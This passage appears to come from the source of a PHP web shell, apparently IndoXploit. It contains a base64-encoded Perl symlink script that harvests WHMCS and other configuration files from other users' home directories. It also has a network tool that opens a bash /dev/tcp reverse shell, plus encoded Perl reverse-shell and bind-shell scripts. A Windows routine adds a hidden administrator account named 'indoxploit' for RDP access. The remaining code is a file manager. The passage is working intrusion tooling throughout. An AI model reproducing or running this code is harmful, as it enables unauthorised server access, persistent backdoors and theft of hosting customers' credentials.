mxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE1DL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9IT1NUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvc3Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JURVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kb21haW5zL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZG9tYWluL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1RJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0FSVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NhcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jYXJ0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvT1JERVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UQVJFQS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1N1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElORy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQlVZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTUFOQUdFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudFN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NIRUNLT1VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jaGVja291dC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zYWxlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9BY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYWNjb3VudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Vc2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdXNlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50cy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9teS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wYW5lbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9DQopOw0KZm9yZWFjaCAoQGFycmF5KXsNCglteSAkY29uZmlnbnlhID0gJF8tPntjb25maWdkaXJ9Ow0KCW15ICR0eXBlY29uZmlnID0gJF8tPnt0eXBlfTsNCglzeW1saW5rKCIkY29uZmlnbnlhIiwiaWR4X3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiKTsNCglta2RpciAiaWR4X3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiOw0KCXN5bWxpbmsoIiRjb25maWdueWEiLCJpZHhfc3ltLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dC8weDE5OTkudHh0Iik7DQoJY29weSgiaWR4X3N5bS9uZW11LnR4dCIsImlkeF9zeW0vJHVzZXJueWEtJHR5cGVjb25maWcudHh0Ly5odGFjY2VzcyIpIDsNCgl9DQp9DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50ICI8aGVhZD48dGl0bGU+QnlwYXNzIDQwNCBCeSAweDE5OTk8L3RpdGxlPjwvaGVhZD4iOw0KcHJpbnQgJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjU7IHVybD1pZHhfc3ltIi8+JzsNCnByaW50ICc8Ym9keT48Y2VudGVyPjxoMT4weDE5OTkgTmV2ZXIgRGllPC9oMT4nOw0KcHJpbnQgJzxhIGhyZWY9ImlkeF9zeW0iPktsaWsgRGlzaW5pPC9hPic7DQp1bmxpbmsoJDApOw==";
                            save("/tmp/symlink.pl", "w", base64_decode($sym['code']));
                            exe("perl /tmp/symlink.pl");
                            sleep(1);
                            @unlink("/tmp/symlink.pl");
                            @unlink("passwd.txt");
                            @unlink("idx_sym/pas.txt");
                            @unlink("idx_sym/nemu.txt");
                        }
                        print "<div style='background: #ffffff; width: 100%; height: 100%'>";
                        print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_sym/' frameborder='0' scrolling='yes'></iframe>";
                        print "</div>";
                    } elseif ($toolsname === "network") {
                        $args = explode(" ", $args);
                        if ($args[0] === "bc") {
                            if (empty($args[1])) {
                                die(color(1, 1, "Set Your IP for BackConnect!"));
                            }
                            if (empty($args[2])) {
                                die(color(1, 1, "Set Your PORT for BackConnect!"));
                            }
                            if (empty($args[3])) {
                                die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
                            }
                            if ($args[3] === "bash") {
                                exe("/bin/bash -i >& /dev/tcp/" . $args[1] . "/" . $args[2] . " 0>&1");
                            } elseif ($args[3] === "perl") {
                                $bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
                                save("/tmp/bc.pl", "w", base64_decode($bc['code']));
                                $bc['exec'] = exe("perl /tmp/bc.pl " . $args[1] . " " . $args[2] . " 1>/dev/null 2>&1 &");
                                sleep(1);
                                print "<pre>" . $bc['exec'] . "\n" . exe("ps aux | grep bc.pl") . "</pre>";
                                @unlink("/tmp/bc.pl");
                            }
                        } elseif ($args[0] === "bp") {
                            if (empty($args[1])) {
                                die(color(1, 1, "Set Your PORT for Bind Port!"));
                            }
                            if (empty($args[2])) {
                                die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
                            }
                            if ($args[2] === "perl") {
                                $bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
                                save("/tmp/bp.pl", "w", base64_decode($bp['code']));
                                $bp['exec'] = exe("perl /tmp/bp.pl " . $args[1] . " 1>/dev/null 2>&1 &");
                                sleep(1);
                                print "<pre>" . $bp['exec'] . "\n" . exe("ps aux | grep bp.pl") . "</pre>";
                                @unlink("/tmp/bp.pl");
                            }
                        } else {
                            print color(1, 1, "Unknown '" . $args[0] . "'");
                        }
                    } elseif ($toolsname === "krdp") {
                        $args = explode(" ", $args);
                        if (OS() !== "Windows") {
                            die(color(1, 1, "Just For Windows Server"));
                        }
                        if (preg_match("/indoxploit/", exe("net user"))) {
                            die(color(1, 1, "[INFO] username 'indoxploit' already exists."));
                        }
                        $add_user = exe("net user indoxploit indoxploit /add");
                        $add_groups1 = exe("net localgroup Administrators indoxploit /add");
                        $add_groups2 = exe("net localgroup Administrator indoxploit /add");
                        $add_groups3 = exe("net localgroup Administrateur indoxploit /add");
                        print "[ RDP ACCOUNT INFO ]<br>\r\n    \t------------------------------<br>\r\n    \tIP: " . color(1, 2, $GLOBALS['SERVERIP']) . "<br>\r\n    \tUsername: " . color(1, 2, "indoxploit") . "<br>\r\n    \tPassword: " . color(1, 2, "indoxploit") . "<br>\r\n    \t------------------------------<br><br>\r\n    \t[ STATUS ]<br>\r\n    \t------------------------------<br>\r\n    \t";
                        if ($add_user) {
                            print "[add user] -> " . color(1, 2, "SUCCESS") . "<br>";
                        } else {
                            print "[add user] -> " . color(1, 1, "FAILED") . "<br>";
                        }
                        if ($add_groups1) {
                            print "[add localgroup Administrators] -> " . color(1, 2, "SUCCESS") . "<br>";
                        } elseif ($add_groups2) {
                            print "[add localgroup Administrator] -> " . color(1, 2, "SUCCESS") . "<br>";
                        } elseif ($add_groups3) {
                            print "[add localgroup Administrateur] -> " . color(1, 2, "SUCCESS") . "<br>";
                        } else {
                            print "[add localgroup] -> " . color(1, 1, "FAILED") . "<br>";
                        }
                        print "------------------------------<br>";
                    }
                }
                function files_and_folder()
                {
                    if (!is_dir(path())) {
                        die(color(1, 1, "Directory '" . path() . "' is not exists."));
                    }
                    if (!is_readable(path())) {
                        die(color(1, 1, "Directory '" . path() . "' not readable."));
                    }
                    print "<table width=\"100%\" class=\"table_home\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n\t\t   <tr>\r\n\t\t   <th class=\"th_home\"><center>Name</center></th>\r\n\t\t   <th class=\"th_home\"><center>Type</center></th>\r\n\t\t   <th class=\"th_home\"><center>Size</center></th>\r\n\t\t   <th class=\"th_home\"><center>Last Modified</center></th>\r\n\t\t   <th class=\"th_home\"><center>Owner/Group</center></th>\r\n\t\t   <th class=\"th_home\"><center>Permission</center></th>\r\n\t\t   <th class=\"th_home\"><center>Action</center></th>\r\n\t\t   </tr>";
                    if (function_exists('opendir')) {
                        if ($opendir = opendir(path())) {
                            while (($readdir = readdir($opendir)) !== false) {
                                $dir[] = $readdir;
                            }
                            closedir($opendir);
                        }
                        sort($dir);
                    } else {
                        $dir = scandir(path());
                    }
                    foreach ($dir as $folder) {
                        $dirinfo['path'] = path() . DIRECTORY_SEPARATOR . $folder;
                        if (!is_dir($dirinfo['path'])) {
                            continue;
                        }
